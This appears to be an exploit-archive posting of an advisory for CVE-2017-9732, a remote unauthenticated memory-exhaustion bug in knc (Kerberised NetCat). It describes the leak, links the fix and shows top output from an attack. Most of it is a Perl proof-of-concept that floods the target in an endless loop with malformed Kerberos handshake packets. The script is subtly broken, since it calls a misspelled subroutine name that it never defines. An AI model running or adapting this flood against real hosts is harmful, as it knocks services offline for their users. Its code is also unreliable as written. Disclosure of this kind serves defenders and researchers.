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knc (Kerberized NetCat) Denial Of Service

knc (Kerberized NetCat) Denial Of Service
Posted Nov 29, 2018
Authored by Imre Rad

knc (Kerberised NetCat) versions before 1.11-1 are vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another service running on the targeted host. Proof of concept included.

tags | exploit, denial of service, proof of concept
advisories | CVE-2017-9732
MD5 | ae47c891e14b49e09ebf721184f792e1

knc (Kerberized NetCat) Denial Of Service

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# Product
"KNC is Kerberised NetCat. It works in basically the same way as either netcat or stunnel except that it is uses GSS-API to secure the communication. You can use it to construct client/server applications while keeping the Kerberos libraries out of your programs address space quickly and easily."

## Links
Official page:
http://oskt.secure-endpoints.com/knc.html
Source code repository:
https://github.com/elric1/knc/

## CVE-2017-9732 vulnerability
knc (Kerberised NetCat) before 1.11-1 is vulnerable to denial of service (memory exhaustion) that can be exploited remotely without authentication, possibly affecting another services running on the targeted host.

The knc implementation uses a temporary buffer in read_packet() function that is not freed (memory leak). An unauthenticated attacker can abuse this by sending a blob of valid kerberos handshake structure but with unexpected type; instead of token type AP_REQ (0x0100) I sent 0x0000 at bytes 16 and 17 in my proof of concept. During the attack, gss_sec_accept_context returns G_CONTINUE_NEEDED and the memory is exhausted in the long run.

The attack might not even be logged, depending on how the Open Source Kerberos Tooling stack is configured.

## Exploit

```
./memory-exhaustion-poc.pl target-host target-port
```

Top output ~30 seconds later:

```
2 CPUs; last pid: 20507; load averages: 1.26, 0.84, 0.38 14:11:53

268 processes: 4 running, 264 sleeping

CPU states: 38.6% user, 0.0% nice, 27.1% system, 34.3% idle

cpu 0: 18.7% user, 0.0% nice, 22.9% system, 58.4% idle

cpu 1: 54.7% user, 0.0% nice, 30.7% system, 14.6% idle

Memory: 7857M real, 7734M used, 122M free Swap: 4094M total, 0K used, 4094M free



PID PSID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND

20156 19806 username 1 20 0 2165M 2133M cpu1 19:41 46.19% knc
...
```



## Bugfix
https://github.com/elric1/knc/commit/f237f3e09ecbaf59c897f5046538a7b1a3fa40c1


## Proof of concept
# memory-exhaustion-poc.pl

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;

my $host = shift @ARGV || "127.0.0.1";
my $port = shift @ARGV || 2666;

my $sock = IO::Socket::INET->new(PeerPort => $port, PeerAddr => $host) or die "Cant connect: $@\n";
$sock->autoflush();

my $data = pack("H*", without_spaces("
60 82 02 32 06 09 2a 86 48 86 f7 12 01 02 02 00
00 6e 82 02 21 30 82 02 1d a0 03 02 01 05 a1 03
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00
"));

while(1){
send_with_lenght_prefix($data);
}

sub send_with_length_prefix {
my $d = shift;
do_send(pack("N", length($d)));
do_send($d);
}

sub do_send {
my $d = shift;
printf STDERR ">> %s\n", unpack("H*", $d);
print $sock $d or die "Cant write: $!";
}

sub without_spaces {
my $d = shift;
$d =~ s/\s*//g;
return $d;
}

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